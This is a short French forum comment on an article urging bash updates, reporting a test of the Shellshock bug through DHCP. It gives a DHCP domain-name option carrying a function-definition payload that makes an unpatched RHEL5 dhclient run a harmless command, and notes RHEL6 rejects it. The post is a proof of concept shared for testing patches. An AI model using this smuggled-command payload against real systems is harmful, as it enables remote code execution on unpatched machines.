• [^] # Re: exploit

    Posté par (site web personnel) . En réponse au journal Mets à jour ton bash. Maintenant.. Évalué à 7.

    Testé ce matin.

    Sur un serveur DHCP classique, j'utilise l'option :
    option domain-name "() { :;}; echo 'plop' > /tmp/plop";

    Sur une Red-Hat EL5 sans SElinux et non patchée, un dhclient et /tmp/plop apparaît.

    Note : ne fonctionne pas sur RHEL6 : dhclient signale que le nom de domaine lui parait suspect ;-)